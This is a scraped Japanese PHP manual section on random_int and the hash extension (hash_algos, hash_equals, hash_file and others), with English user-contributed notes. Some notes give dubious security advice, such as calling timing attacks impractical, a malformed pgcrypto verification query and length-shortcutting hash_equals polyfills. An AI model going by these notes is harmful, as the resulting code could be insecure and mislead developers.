上の例の出力は、 たとえば以下のようになります。

int(248)
int(-898)

参考

  • random_bytes() - 暗号論的に安全な、疑似ランダムなバイト列を生成する

User Contributed Notes

bens at effortlessis dot com 05-Sep-2020 04:21
On my system (5th gen i7) random_int() takes about 14x longer to do the same number of calculations than rand().

for ($i=0; $i<10000000; $i++)
        $x = rand(1, PHP_INT_MAX);

Takes 0.86 seconds for rand(), 12.29 seconds for random_int(). So use random_int() somewhat sparingly.

If it's not really important to be truly random, use rand() instead, especially in a tight loop.
ccb_bc at hotmail dot com 04-Jul-2019 03:02
<?php
    // PHP >= 7
    function str_rand(int $length = 16){
        $x = '';
        for($i = 1; $i <= $length; $i++){
            $x .= dechex(random_int(0,255));
        }
        return substr($x, 0, $length);
    }
    var_dump(str_rand());
?>
s rotondo90 at gmail com 30-Jul-2016 01:11
Here is a simple backporting function, it works for PHP >= 5.1

<?php
if (!function_exists('random_int')) {
    function random_int($min, $max) {
        if (!function_exists('mcrypt_create_iv')) {
            trigger_error(
                'mcrypt must be loaded for random_int to work',
                E_USER_WARNING
            );
            return null;
        }

        if (!is_int($min) || !is_int($max)) {
            trigger_error('$min and $max must be integer values', E_USER_NOTICE);
            $min = (int)$min;
            $max = (int)$max;
        }

        if ($min > $max) {
            trigger_error('$max can\'t be lesser than $min', E_USER_WARNING);
            return null;
        }

        $range = $counter = $max - $min;
        $bits = 1;

        while ($counter >>= 1) {
            ++$bits;
        }

        $bytes = (int)max(ceil($bits/8), 1);
        $bitmask = pow(2, $bits) - 1;

        if ($bitmask >= PHP_INT_MAX) {
            $bitmask = PHP_INT_MAX;
        }

        do {
            $result = hexdec(
                bin2hex(
                    mcrypt_create_iv($bytes, MCRYPT_DEV_URANDOM)
                )
            ) & $bitmask;
        } while ($result > $range);

        return $result + $min;
    }
}
?>

Randomness test

<?php
$max = 100; // number of random values
$test = 1000000;

$array = array_fill(0, $max, 0);

for ($i = 0; $i < $test; ++$i) {
    ++$array[random_int(0, $max-1)];
}

function arrayFormatResult(&$item) {
    global $test, $max; // try to avoid this nowdays ;)

    $perc = ($item/($test/$max))-1;
    $item .= ' '. number_format($perc, 4, '.', '') .'%';
}

array_walk($array, 'arrayFormatResult');

print_r($array);
?>
info at raymondrodgers dot com 14-Jan-2016 12:30
This function is based on Andrew Moore's UUID generation function on the uniqid function; it has been updated to use random_int() on PHP 7.0 or later yet continue to function with earlier versions using mt_rand().

function generateUUIDv4()
{
    if(version_compare(PHP_VERSION,'7.0.0', '<') )
    {
        return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',

        // 32 bits for "time_low"
        mt_rand(0, 0xffff), mt_rand(0, 0xffff),

        // 16 bits for "time_mid"
        mt_rand(0, 0xffff),

        // 16 bits for "time_hi_and_version",
        // four most significant bits holds version number 4
        mt_rand(0, 0x0fff) | 0x4000,

        // 16 bits, 8 bits for "clk_seq_hi_res",
        // 8 bits for "clk_seq_low",
        // two most significant bits holds zero and one for variant DCE1.1
        mt_rand(0, 0x3fff) | 0x8000,

        // 48 bits for "node"
        mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
        );
    }
    else
    {
        return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',

        // 32 bits for "time_low"
        random_int(0, 0xffff), random_int(0, 0xffff),

        // 16 bits for "time_mid"
        random_int(0, 0xffff),

        // 16 bits for "time_hi_and_version",
        // four most significant bits holds version number 4
        random_int(0, 0x0fff) | 0x4000,

        // 16 bits, 8 bits for "clk_seq_hi_res",
        // 8 bits for "clk_seq_low",
        // two most significant bits holds zero and one for variant DCE1.1
        random_int(0, 0x3fff) | 0x8000,

        // 48 bits for "node"
        random_int(0, 0xffff), random_int(0, 0xffff), random_int(0, 0xffff)
        );
    }
}


HASH メッセージダイジェストフレームワーク

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • HashContext — HashContext クラス
    • HashContext::__construct — private なコンストラクタのため、直接インスタンス化できません
  • Hash 関数
    • hash_algos — 登録されているハッシュアルゴリズムの一覧を返す
    • hash_copy — ハッシュコンテキストをコピーする
    • hash_equals — タイミング攻撃に対して安全な文字列比較
    • hash_file — ファイルの内容から、ハッシュ値を生成する
    • hash_final — 段階的なハッシュ処理を終了し、出来上がったダイジェストを返す
    • hash_hkdf — 与えられたキーから導出されるHKDFキーを生成する
    • hash_hmac_algos — hash_hmac に合うハッシュアルゴリズムの一覧を返す
    • hash_hmac_file — HMAC 方式を使用して、指定されたファイルの内容からハッシュ値を生成する
    • hash_hmac — HMAC 方式を使用してハッシュ値を生成する
    • hash_init — 段階的なハッシュコンテキストを初期化する
    • hash_pbkdf2 — PBKDF2 を使ってパスワードからキーを生成する
    • hash_update_file — アクティブなハッシュコンテキストに、ファイルからデータを投入する
    • hash_update_stream — アクティブなハッシュコンテキストに、オープンしているストリームから データを投入する
    • hash_update — アクティブなハッシュコンテキストにデータを投入する
    • hash — ハッシュ値 (メッセージダイジェスト) を生成する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

メッセージダイジェスト (ハッシュ) エンジンです。さまざまなハッシュ アルゴリズムを使用して、任意の長さのメッセージに対する 直接的あるいは段階的な処理を可能とします。

User Contributed Notes

There are no user contributed notes for this page.


要件

PHP コアに含まれるため、 追加のインストール無しで使用できます。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHP 5.1.2 以降、ハッシュ拡張モジュールは本体にバンドルされ、デフォルトでコンパイルされるようになります。

configure 時に --disable-hash を指定することで明示的に無効にすることも可能です。それ以前の バージョンの PHP にハッシュ拡張モジュールを組み込むには、 » PECL モジュール

PHP 7.4.0 以降、ハッシュ拡張モジュールはコア PHP 拡張モジュールとなり、常に有効になります。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

この拡張モジュールでは、ハッシュコンテキストリソースを定義しています。これは hash_init() が返すものです。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

HASH_HMAC (int)
hash_init() のオプションのフラグです。 現在のハッシュコンテキストに対して HMAC digest-keying アルゴリズムが適用されることを示します。

User Contributed Notes

There are no user contributed notes for this page.


HashContext クラス

(PHP 7 >= 7.2.0, PHP 8)

はじめに

クラス概要

HashContext {
/* メソッド */
private __construct ( )
}

目次

  • HashContext::__construct — private なコンストラクタのため、直接インスタンス化できません

User Contributed Notes

There are no user contributed notes for this page.


private なコンストラクタのため、直接インスタンス化できません

  • ≪ HashContext
  • Hash 関数 ≫
  • PHP Manual
  • HashContext
  • private なコンストラクタのため、直接インスタンス化できません

HashContext::__construct

(PHP 7 >= 7.2.0, PHP 8)

HashContext::__construct — private なコンストラクタのため、直接インスタンス化できません

説明

private HashContext::__construct ( )

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


Hash 関数

目次

  • hash_algos — 登録されているハッシュアルゴリズムの一覧を返す
  • hash_copy — ハッシュコンテキストをコピーする
  • hash_equals — タイミング攻撃に対して安全な文字列比較
  • hash_file — ファイルの内容から、ハッシュ値を生成する
  • hash_final — 段階的なハッシュ処理を終了し、出来上がったダイジェストを返す
  • hash_hkdf — 与えられたキーから導出されるHKDFキーを生成する
  • hash_hmac_algos — hash_hmac に合うハッシュアルゴリズムの一覧を返す
  • hash_hmac_file — HMAC 方式を使用して、指定されたファイルの内容からハッシュ値を生成する
  • hash_hmac — HMAC 方式を使用してハッシュ値を生成する
  • hash_init — 段階的なハッシュコンテキストを初期化する
  • hash_pbkdf2 — PBKDF2 を使ってパスワードからキーを生成する
  • hash_update_file — アクティブなハッシュコンテキストに、ファイルからデータを投入する
  • hash_update_stream — アクティブなハッシュコンテキストに、オープンしているストリームから データを投入する
  • hash_update — アクティブなハッシュコンテキストにデータを投入する
  • hash — ハッシュ値 (メッセージダイジェスト) を生成する

User Contributed Notes

ocarter at mirabeau dot nl 11-Jan-2010 07:22
Note for FreeBSD with PHP-5.

This is disabled by default; use the security/php5-hash port:
cd /usr/ports/security/php5-hash ; make install clean
(do not use the security/pecl-hash port as in the past, see the /usr/ports/UPDATING post from 20081211)
kungla at gmail dot com 07-Dec-2009 05:00
For Samba ueserPassword you can use:

(I am not very sure aboute the salt part, but it works for me like that)

<?php
function CRYPThash($string, $salt = null)
{
    if (!$salt)
        $salt = rand(10,99);

    return "{CRYPT}".crypt($string, $salt);
}
?>

In posted NTLMHash function you can also use:

<?php
// Encrypt it with the MD4 hash
$MD4Hash=hash('md4',$Input);
?>

So you don't need to install mhash libraries
artem at it-nt dot ru 20-Jul-2008 12:35
And some code for LM hash:

<?php
function LMhash($string)
{
    $string = strtoupper(substr($string,0,14));

    $p1 = LMhash_DESencrypt(substr($string, 0, 7));
    $p2 = LMhash_DESencrypt(substr($string, 7, 7));

    return strtoupper($p1.$p2);
}

function LMhash_DESencrypt($string)
{
    $key = array();
    $tmp = array();
    $len = strlen($string);

    for ($i=0; $i<7; ++$i)
        $tmp[] = $i < $len ? ord($string[$i]) : 0;

    $key[] = $tmp[0] & 254;
    $key[] = ($tmp[0] << 7) | ($tmp[1] >> 1);
    $key[] = ($tmp[1] << 6) | ($tmp[2] >> 2);
    $key[] = ($tmp[2] << 5) | ($tmp[3] >> 3);
    $key[] = ($tmp[3] << 4) | ($tmp[4] >> 4);
    $key[] = ($tmp[4] << 3) | ($tmp[5] >> 5);
    $key[] = ($tmp[5] << 2) | ($tmp[6] >> 6);
    $key[] = $tmp[6] << 1;

    $is = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($is, MCRYPT_RAND);
    $key0 = "";

    foreach ($key as $k)
        $key0 .= chr($k);
    $crypt = mcrypt_encrypt(MCRYPT_DES, $key0, "KGS!@#$%", MCRYPT_MODE_ECB, $iv);

    return bin2hex($crypt);
}
?>

Some optimization?
CraquePipe 24-Mar-2008 04:42
For thoes of you who're looking to generate an NTLM hash (not an LM hash), I found out it's quite simple..

It uses the basic MD4 function, but the password needs to be in Unicode Little Endian encode first (this canbe achieved by the iconv function).

This can be done easily by using the following code:

<?php
function NTLMHash($Input) {
  // Convert the password from UTF8 to UTF16 (little endian)
  $Input=iconv('UTF-8','UTF-16LE',$Input);

  // Encrypt it with the MD4 hash
  $MD4Hash=bin2hex(mhash(MHASH_MD4,$Input));

  // You could use this instead, but mhash works on PHP 4 and 5 or above
  // The hash function only works on 5 or above
  //$MD4Hash=hash('md4',$Input);

  // Make it uppercase, not necessary, but it's common to do so with NTLM hashes
  $NTLMHash=strtoupper($MD4Hash);

  // Return the result
  return($NTLMHash);
}
?>

To produce an LM hash requires a fully-written script containing the algorithm used to make it.

Enjoy,
CraquePipe.
nb_removethis_ at wtal dot de 03-Sep-2007 05:24
Some tests with mhash and hash revealed on my machine that hash needs more than twice as long to create a hash than mhash. The average of one million cylces of Haval128, Haval256, Gost, CRC32, MD5, SHA1 and SHA256 was 450ms for mhash and 1150ms for hash.


登録されているハッシュアルゴリズムの一覧を返す

  • ≪ Hash 関数
  • hash_copy ≫
  • PHP Manual
  • Hash 関数
  • 登録されているハッシュアルゴリズムの一覧を返す

hash_algos

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_algos — 登録されているハッシュアルゴリズムの一覧を返す

説明

hash_algos ( ) : array

返り値

サポートされているハッシュアルゴリズムの一覧を、数値添字の 配列として返します。

変更履歴

バージョン | 説明
7.4.0 | crc32c のサポートを追加しました。
7.1.0 | sha512/224, sha512/256, sha3-224, sha3-256, sha3-384 および sha3-512 のサポートを追加しました。

例

例1 hash_algos() の例

PHP 7.4.0 では、hash_algos() は 以下のようなアルゴリズム名の一覧を返します。

<?php
print_r(hash_algos());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => md2
    [1] => md4
    [2] => md5
    [3] => sha1
    [4] => sha224
    [5] => sha256
    [6] => sha384
    [7] => sha512/224
    [8] => sha512/256
    [9] => sha512
    [10] => sha3-224
    [11] => sha3-256
    [12] => sha3-384
    [13] => sha3-512
    [14] => ripemd128
    [15] => ripemd160
    [16] => ripemd256
    [17] => ripemd320
    [18] => whirlpool
    [19] => tiger128,3
    [20] => tiger160,3
    [21] => tiger192,3
    [22] => tiger128,4
    [23] => tiger160,4
    [24] => tiger192,4
    [25] => snefru
    [26] => snefru256
    [27] => gost
    [28] => gost-crypto
    [29] => adler32
    [30] => crc32
    [31] => crc32b
    [32] => crc32c
    [33] => fnv132
    [34] => fnv1a32
    [35] => fnv164
    [36] => fnv1a64
    [37] => joaat
    [38] => haval128,3
    [39] => haval160,3
    [40] => haval192,3
    [41] => haval224,3
    [42] => haval256,3
    [43] => haval128,4
    [44] => haval160,4
    [45] => haval192,4
    [46] => haval224,4
    [47] => haval256,4
    [48] => haval128,5
    [49] => haval160,5
    [50] => haval192,5
    [51] => haval224,5
    [52] => haval256,5
)

参考

  • hash_hmac_algos() - hash_hmac に合うハッシュアルゴリズムの一覧を返す

User Contributed Notes

Miguel Florido 18-Oct-2014 11:04
Ansewring to holdoffhunger avoid crc32, the are different results because the crc32(); use the algorithm 'crc32b'. To check this only have to write:

echo hash('crc32b', 'The quick brown fox jumped over the lazy dog.'), "\n";
echo dechex (crc32('The quick brown fox jumped over the lazy dog.'));

And check that both have the same results:

82a34642
82a34642
holdoffhunger at gmail dot com 23-Jun-2012 11:42
If you print the results of the hash_algos function and look at all of the available hashing functions, you will find three with duplicate functions: md5, sha1, crc32, and sha256.  That means you can call the any of these function with either its own function or the hash function.  For example, with the SHA1 function :

<?php

            // Author: holdoffhunger@gmail.com

    $sha1_first_value = sha1("secret", FALSE);

    $sha1_second_value = hash("sha1", "secret", FALSE);

?>

However, the alternate title for the SHA256 algorithm is "getImageSignature", as part of the ImageMagick application package.  Oddly, the CRC32 function returns different values when called from its own particular function (crc32()) compared to when it's called through the hash function (hash()).  This leads me to suspect that they may be different implementations of the crc32 algorithm altogether.  The different functions for SHA1 and MD5, however, produce the same results.  The SHA-256 algorithm, as implemented in the ImageMagick function, also produces different results compared to the results of the hash_file() function within the Hash application package.

For the String "1234567890", the single CRC32() Function (which doesn't have an option for binary, "raw data" representation) produces "639479525", but when called through the Hash() Function, that same string produces "b6536850".  I cannot find the relationship of any of these values, as they are not inverses of each other, nor is their sum or difference equal to any power of two (as I suspected they might be an equal distance from 0 or 2^32).

Both the SHA1 and MD5 alternate functions have the parameter of "TRUE/FALSE" at the end to indicate whether the result is given in binary (raw data) or not.  Unfortunately, this often turns out to be data that doesn't print very well.  It is recommended to be printed with the statement of printf("%u\n", $crc_32_value);.  However, that often doesn't produce any usable results, either.  The only method I have discovered is the "bin2hex" function, like so :

<?php

    $md5_value = hash("md5", "secret", FALSE);
    $md5_value_in_hex = bin2hex($md5_value);

?>

However, bin2hex returns a hexadecimal representation, whereas you probably wanted a string of binary 1's and 0's.  You can use the base_convert function, such as base_convert($md5_value_in_hex, 16, 2);.  However, base_convert doesn't work on large numbers, so you have to write your own function for converting Hex to Binary.

One other thing that will probably catch your attention is that half of the listed algorithms have similar names, but are represented with different numbers.  That means that the algorithm takes parameters itself, such as number of bits for the resultant hash value and number of rounds to do in producing the hashed result.  The first number in the title of the Hash Function usually indicates the size of the hash result, such as 128 bit for "haval128,3" and 160 bit for "tiger160,4".  The second number, however, indicates the number of rounds, such as 5 rounds for "haval224,5".
alvaro at demogracia dot com 16-Nov-2010 05:02
These algorithms can be used to generate a session ID. Just pick a string value from the list and feed the session.hash_function directive with it. E.g.:

<?php
ini_set('session.hash_function', 'whirlpool');
?>


ハッシュコンテキストをコピーする

  • ≪ hash_algos
  • hash_equals ≫
  • PHP Manual
  • Hash 関数
  • ハッシュコンテキストをコピーする

hash_copy

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

hash_copy — ハッシュコンテキストをコピーする

説明

hash_copy ( HashContext $context ) : HashContext

パラメータ

context

hash_init() が返すハッシュコンテキスト。

返り値

ハッシュコンテキストのコピーを返します。

変更履歴

バージョン | 説明
7.2.0 | リソースのかわりに、HashContext を受け入れ、返すようになりました。

例

例1 hash_copy() の例

<?php
$context = hash_init("md5");
hash_update($context, "data");

/* コンテキストをコピーし、それを使えるようにします */
$copy_context = hash_copy($context);

echo hash_final($context), "\n";

hash_update($copy_context, "data");
echo hash_final($copy_context), "\n";
?>

上の例の出力は以下となります。

8d777f385d3dfec8815d20f7496026dc
511ae0b1c13f95e5f08f1a0dd3da3d93

User Contributed Notes

There are no user contributed notes for this page.


タイミング攻撃に対して安全な文字列比較

  • ≪ hash_copy
  • hash_file ≫
  • PHP Manual
  • Hash 関数
  • タイミング攻撃に対して安全な文字列比較

hash_equals

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

hash_equals — タイミング攻撃に対して安全な文字列比較

説明

hash_equals ( string $known_string , string $user_string ) : bool

2つの文字列が等しいかどうか、同じ長さの時間で比較します。

この関数は、タイミング攻撃を緩和するために使われるべきです。 たとえば crypt() によるパスワードのハッシュを検証する場合などです。

パラメータ

known_string

比較対象とする既知の長さの文字列

user_string

ユーザー指定の文字列

返り値

2つの文字列が等しい場合は true を返し、そうでない場合は false を返します。

エラー / 例外

指定されたパラメータのいずれかが文字列でない場合、 E_WARNING メッセージを出力します。

例

例1 hash_equals() の例

<?php
$expected  = crypt('12345', '$2a$07$usesomesillystringforsalt$');
$correct   = crypt('12345', '$2a$07$usesomesillystringforsalt$');
$incorrect = crypt('apple', '$2a$07$usesomesillystringforsalt$');

var_dump(hash_equals($expected, $correct));
var_dump(hash_equals($expected, $incorrect));
?>

上の例の出力は以下となります。

bool(true)
bool(false)

注意

注意:

正しく比較するには、両方の引数が同じ長さでなければなりません。 異なる長さの引数を与えた場合、 false が直ちに返され、 タイミング攻撃を加えられていると、既知の文字列の長さが漏れる可能性があります。

注意:

ユーザー指定の文字列を、最初ではなく2番目のパラメーターとして指定することが重要です。

User Contributed Notes

examplehash at user dot com 21-May-2020 07:19
None of the polyfills for this function to date are actually correct.  A timing attack defensive string comparison function must not take *any* shortcuts.  If the function performs a single if-then statement other than validating input types (i.e. making sure inputs are strings), then it is doing the comparison incorrectly.  But I'd argue that by the time you call the function, your inputs should have already been sanitized.  The top-most voted item by asphp incorrectly shortcuts on a comparison of strlen() (enabling a precision oracle attack on string length), while Markus shortcuts on knownstring (enabling an oracle attack on length of knownstring), and others shortcut in similar ways.

Here is a correct implementation in PHP adapted from a correct C implementation:

        function CTstrcmp($secret, $userinput)
        {
            $sx = 0;
            $sy = strlen($secret);
            $uy = strlen($userinput);
            $result = $sy - $uy;
            for ($ux = 0; $ux < $uy; $ux++)
            {
                $result |= ord($userinput[$ux]) ^ ord($secret[$sx]);
                $sx = ($sx + 1) % $sy;
            }

            return $result;
        }

Here, every byte of userinput is executed over regardless of the length of either string.  An oracle length attack is not possible since there is no comparison of lengths - just assignment and math.  The amount of time spent in the function is entirely dependent upon the length of userinput and can only be correct (i.e. return 0) if userinput exactly matches the secret.  Please take your time to understand the key differences between this function and the others.

If you are porting the above to another language, be aware of how strings and whatever strlen() equivalent works behind the scenes in your language.  PHP stores the size of the data separately so it can strlen() in O(1) time.
jcastromail at yahoo dot es 14-Oct-2017 07:19
What is a timing attack?

In short, a timing attack is a way to predict a encryption by using the time to takes to compare two encrypted values.  Depending the encryption, if you want to compare two encrypted values, if one of them is completely different then the system takes less time than if it has  something similarities   The difference of time is usually in microseconds.   So, giving several attempts, in theory its possible to crack a system.

However, usually a system is composed by several services and serving more than a customer at the same time. So, even the interval of time of execute an operation PHP is always variable, its not exact at all. For example, if you run a benchmark in php

<?php
$time_start = microtime(true);
$expected  = crypt('12345', '$2a$07$usesomesillystringforsalt$');
$correct   = crypt('12345', '$2a$07$usesomesillystringforsalt$');
$result=hash_equals($expected, $correct);

$time_end = microtime(true);
echo  $time_end - $time_start;
?>

or
<?php
$time_start = microtime(true);

$expected  = crypt('12345', '$2a$07$usesomesillystringforsalt$');
$correct   = crypt('12345', '$2a$07$usesomesillystringforsalt$');
$result=$expected==$correct;

$time_end = microtime(true);
echo  $time_end - $time_start;
?>

you will get different values each time you run it. So, we are free of timing attack without even using this function, and we aren't even considering the delay of the network, delay of the browser and so on.   Even in the same machine and running

So, in theory a timing attack is possible, however empirically its not.
enclaved 10-Aug-2017 08:10
This is a WARNING to everyone!

Using hash_equals() is fine in itself, but the NEED for such comparison isn't, and should be an alarm to you that your PHP program design is severely flawed somewhere. The golden rule has it: NEVER do any sort of crypto in PHP in the first place. Cryptography doesn't belong in PHP code for a variety of reasons.

First of all, it is a very sloppy and insecure enterprise; I keep seeing script kiddos trying to roll their own crypto again and again without a iota of understanding. Homemade crypto appliance is worse than no crypto, it is pure vice. If you're not a professional, well-educated, experienced cryptographer, then forget about writing your own crypto code forever, don't even dare to consider it before you master the subject in every tiny aspect, because you WILL make mistakes. Dangerous, fatal mistakes. To add insult to injury, in PHP security flaws may be exceptionally non-obvious due to the complexity of Zend--the chances are there will always be a side channel attack opportunity, and you'll never figure it out, because your code MAY appear bug-less, but some internal aspect of the Zend framework still opens a side channel attack vector. Remember: crypto does not belong in scripting languages because of their very misleading and unpredictable nature (in terms of cryptographic environments); crypto must be written in solid, compiled, purely deterministic languages like C, C++, and Fortran.

Second, PHP is neither the right tool nor the right environment for cryptography. In a typical site system, PHP is not in place to do crypto, because there are better places to do it: the HTTP server and the RDBMS. Just memorize this single rule of thumb: cryptographic secrets must never cross subsystem/layer boundaries:

    Database <-- ! --> CGI program <-- ! --> HTTP server

Cryptographic tasks are performed either by the HTTP server (e.g. authentication of users with client SSL certificates) or the RDBMS (e.g. password-based access to data), and these tasks must be ENCAPSULATED inside the facility, self-contained. For example, if you store KDF-derived digests of passwords in an SQL database, you must NOT compare digests in PHP, but only in SQL queries or stored procedures. Once produced and put into the database, a password digest (or any other sensitive data) must not exit it in any way as-is, be it a SELECT query or some other way, that is considered a leak in the cryptosystem. Use ONLY database-provided means to perform any crypto operations.

As PostgreSQL is the usual database of choice for technically advanced and sound WWW or intranet sites, my advice is to use its pgcrypto extension, it is mature, well-tested, and has all the right tools. Here's a textbook password handling example to illustrate how secrets can be confined within the database layer without extracting them into the PHP layer. Password digest derivation and storing:

    INSERT INTO account (digest) VALUES (crypt('password', gen_salt('bf')));

Verification:

    SELECT digest = crypt('password', gen_salt(digest)) FROM account;

Exceptionally simple, elegant, clean, and secure (Blowfish is more than enough for user-set passwords), isn't it? You can clearly see that after the initial INSERT (or any subsequent UPDATEs) the password digest never leaves the RDBMS, that is, never gets trasmitted in any form over the client-server link, the entire checking procedure is wholly executed by the RDBMS, i.e. it is encapsulated and isolated. And the best part about it: no PHP involved in crypto! This IS the way to go if application security is on your checklist.

The SELECT query above performs password checking without disclosing the digest it is comparing against, which is exactly my point. It would be illogical, impractical, and just stupid to use hash_equals() in this scenario when the RDBMS itself can do just fine.
s rotondo90 at gmail com 10-Jul-2016 04:00
asphp has done a great job and that one of Markus P. N. is also good too.

However i made my own more concise version of the asphp code that supports different lenght strings and i used the same tests of Markus in order see how it works.

<?php
if(!function_exists('hash_equals')) {
    function hash_equals($known_string, $user_string) {
        $ret = 0;

        if (strlen($known_string) !== strlen($user_string)) {
            $user_string = $known_string;
            $ret = 1;
        }

        $res = $known_string ^ $user_string;

        for ($i = strlen($res) - 1; $i >= 0; --$i) {
            $ret |= ord($res[$i]);
        }

        return !$ret;
    }
}
?>
David Grudl 25-Nov-2015 05:55
Very short timing attack safe string comparison for PHP < 5.6

<?php
function hash_equals($a, $b) {
    return substr_count($a ^ $b, "\0") * 2 === strlen($a . $b);
}
?>
Cedric Van Bockhaven 15-Apr-2015 09:01
Our server does not support the hash_equals function. We are using the following snippet which also has support for strings of different length:

<?php
if(!function_exists('hash_equals')) {
    function hash_equals($a, $b) {
        $ret = strlen($a) ^ strlen($b);
        $ret |= array_sum(unpack("C*", $a^$b));
        return !$ret;
    }
}
?>
Markus P. N. 04-Sep-2014 09:46
I don't know why asphp at dsgml dot com got that many downvotes, the function seems to work.

I extended it a bit to support strings of diffent length and to handle errors and ran some tests:

The test results and how to reproduce them: http://pastebin.com/mLMXJeva

The function:
<?php

if (!function_exists('hash_equals')) {

    /**
     * Timing attack safe string comparison
     *
     * Compares two strings using the same time whether they're equal or not.
     * This function should be used to mitigate timing attacks; for instance, when testing crypt() password hashes.
     *
     * @param string $known_string The string of known length to compare against
     * @param string $user_string The user-supplied string
     * @return boolean Returns TRUE when the two strings are equal, FALSE otherwise.
     */
    function hash_equals($known_string, $user_string)
    {
        if (func_num_args() !== 2) {
            // handle wrong parameter count as the native implentation
            trigger_error('hash_equals() expects exactly 2 parameters, ' . func_num_args() . ' given', E_USER_WARNING);
            return null;
        }
        if (is_string($known_string) !== true) {
            trigger_error('hash_equals(): Expected known_string to be a string, ' . gettype($known_string) . ' given', E_USER_WARNING);
            return false;
        }
        $known_string_len = strlen($known_string);
        $user_string_type_error = 'hash_equals(): Expected user_string to be a string, ' . gettype($user_string) . ' given'; // prepare wrong type error message now to reduce the impact of string concatenation and the gettype call
        if (is_string($user_string) !== true) {
            trigger_error($user_string_type_error, E_USER_WARNING);
            // prevention of timing attacks might be still possible if we handle $user_string as a string of diffent length (the trigger_error() call increases the execution time a bit)
            $user_string_len = strlen($user_string);
            $user_string_len = $known_string_len + 1;
        } else {
            $user_string_len = $known_string_len + 1;
            $user_string_len = strlen($user_string);
        }
        if ($known_string_len !== $user_string_len) {
            $res = $known_string ^ $known_string; // use $known_string instead of $user_string to handle strings of diffrent length.
            $ret = 1; // set $ret to 1 to make sure false is returned
        } else {
            $res = $known_string ^ $user_string;
            $ret = 0;
        }
        for ($i = strlen($res) - 1; $i >= 0; $i--) {
            $ret |= ord($res[$i]);
        }
        return $ret === 0;
    }

}

?>
asphp at dsgml dot com 28-Aug-2014 07:48
To transparently support this function on older versions of PHP use this:

<?php
if(!function_exists('hash_equals')) {
  function hash_equals($str1, $str2) {
    if(strlen($str1) != strlen($str2)) {
      return false;
    } else {
      $res = $str1 ^ $str2;
      $ret = 0;
      for($i = strlen($res) - 1; $i >= 0; $i--) $ret |= ord($res[$i]);
      return !$ret;
    }
  }
}
?>


ファイルの内容から、ハッシュ値を生成する

  • ≪ hash_equals
  • hash_final ≫
  • PHP Manual
  • Hash 関数
  • ファイルの内容から、ハッシュ値を生成する

hash_file

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_file — ファイルの内容から、ハッシュ値を生成する

説明

hash_file ( string $algo , string $filename , bool $binary = false ) : string|false

パラメータ

algo

選択したアルゴリズムの名前 (すなわち "md5"、"sha256"、"haval160,4" など...)。 サポートされているアルゴリズムの一覧は hash_algos() を参照して下さい。

filename

ハッシュ対象となるファイルの位置を示す URL。 fopen ラッパーをサポートしています。

binary

true を設定すると、生のバイナリデータを出力します。 false の場合は小文字の 16 進数値となります。

返り値

binary が true に設定されていない場合は、 メッセージダイジェストの計算結果を小文字の 16 進数値形式の文字列で 返します。もし true に設定されていた場合は、メッセージダイジェストが そのままのバイナリ形式で返されます。

例

例1 hash_file() の使用例

<?php
/* ハッシュ値を計算するファイルを作成します */
file_put_contents('example.txt', 'The quick brown fox jumped over the lazy dog.');

echo hash_file('md5', 'example.txt');
?>

上の例の出力は以下となります。

5c6ffbdd40d9556b73a21e63c3e0e904

参考

  • hash() - ハッシュ値 (メッセージダイジェスト) を生成する
  • hash_hmac_file() - HMAC 方式を使用して、指定されたファイルの内容からハッシュ値を生成する
  • hash_update_file() - アクティブなハッシュコンテキストに、ファイルからデータを投入する
  • md5_file() - 指定したファイルのMD5ハッシュ値を計算する
  • sha1_file() - ファイルの sha1 ハッシュを計算する

User Contributed Notes

Lawrence Cherone 26-Mar-2018 12:23
It's sometimes necessary to hash the same file with different algos,

<?php
function hash_file_multi($algos = [], $filename) {
    if (!is_array($algos)) {
        throw new \InvalidArgumentException('First argument must be an array');
    }

    if (!is_string($filename)) {
        throw new \InvalidArgumentException('Second argument must be a string');
    }

    if (!file_exists($filename)) {
        throw new \InvalidArgumentException('Second argument, file not found');
    }

    $result = [];
    $fp = fopen($filename, "r");
    if ($fp) {
        // ini hash contexts
        foreach ($algos as $algo) {
            $ctx[$algo] = hash_init($algo);
        }

        // calculate hash
        while (!feof($fp)) {
            $buffer = fgets($fp, 65536);
            foreach ($ctx as $key => $context) {
                hash_update($ctx[$key], $buffer);
            }
        }

        // finalise hash and store in return
        foreach ($algos as $algo) {
            $result[$algo] = hash_final($ctx[$algo]);
        }

        fclose($fp);
    } else {
        throw new \InvalidArgumentException('Could not open file for reading');
    }
    return $result;
}
?>

Which would be used like:

<?php
$result = hash_file_multi(['md5', 'sha1', 'sha256'], 'path/to/file.ext');

var_dump($result['md5'] === hash_file('md5', 'path/to/file.ext')); //true
var_dump($result['sha1'] === hash_file('sha1', 'path/to/file.ext')); //true
var_dump($result['sha256'] === hash_file('sha256', 'path/to/file.ext')); //true
lnker dot ua at gmail dot com 05-Sep-2017 02:28
Link id : 6r1j-d2gs
Code description : hash_file() performance check; Table head columns are sortable by clicking;

Open the code with PhpFiddle - http://phpfiddle.org/main/code/6r1j-d2gs
Open the code with PhpFiddle Lite - http://phpfiddle.org/lite/code/6r1j-d2gs

So do not care a lot about performance! Just use what you need!
synnus at gmail dot com 17-Jun-2015 11:57
bench 476 Mo, win is 'haval160,4' : 0.037002

ALGO: md2, time: 74.702272891998
ALGO: md4, time: 9.2155270576477
ALGO: md5, time: 9.0815191268921
ALGO: sha1, time: 9.0945210456848
ALGO: sha224, time: 9.1465229988098
ALGO: sha256, time: 9.143522977829
ALGO: sha384, time: 14.065804004669
